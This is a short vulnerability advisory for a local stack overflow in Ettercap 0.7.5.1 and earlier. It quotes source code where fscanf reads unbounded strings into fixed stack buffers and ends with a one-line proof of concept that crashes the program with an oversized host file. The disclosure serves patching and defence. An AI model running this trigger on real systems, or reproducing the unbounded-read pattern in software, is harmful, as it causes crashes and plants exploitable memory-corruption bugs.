Title: Ettercap Stack overflow (CWE-121)
References: CVE-2012-0722
Discovered by: Sajjad Pourali
Vendor: http://www.ettercap.sourceforge.net/
Vendor contact: 13-01-01 21:20 UTC (No response)
Solution: Using the patch
Patch: http://www.securation.com/files/2013/01/ec.patch
Local: Yes
Remote: No
Impact: low
Affected:
- ettercap 0.7.5.1
- ettercap 0.7.5
- ettercap 0.7.4 and earlier
Not affected:
- ettercap 0.7.4.1
---
Trace vulnerable place:
./include/ec_inet.h:27-44
enum {
NS_IN6ADDRSZ = 16,
NS_INT16SZ = 2,
ETH_ADDR_LEN = 6,
TR_ADDR_LEN = 6,
FDDI_ADDR_LEN = 6,
MEDIA_ADDR_LEN = 6,
IP_ADDR_LEN = 4,
IP6_ADDR_LEN = 16,
MAX_IP_ADDR_LEN = IP6_ADDR_LEN,
ETH_ASCII_ADDR_LEN = sizeof("ff:ff:ff:ff:ff:ff")+1,
IP_ASCII_ADDR_LEN = sizeof("255.255.255.255")+1,
IP6_ASCII_ADDR_LEN = sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255")+1,
MAX_ASCII_ADDR_LEN = IP6_ASCII_ADDR_LEN,
};
./include/ec_resolv.h:42
#define MAX_HOSTNAME_LEN 64
./src/ec_scan.c:610-614
char ip[MAX_ASCII_ADDR_LEN];
char mac[ETH_ASCII_ADDR_LEN];
char name[MAX_HOSTNAME_LEN];
./src/ec_scan.c:633-635
if (fscanf(hf, "%s %s %s\n", ip, mac, name) != 3 ||
*ip == '#' || *mac == '#' || *name == '#')
continue;
---
PoC:
sudo ruby -e'puts"a"*2000' > overflow && sudo ettercap -T -j overflow
---
+ Sajjad Pourali
+ http://www.securation.com
+ Contact: sajjad[at]securation.com
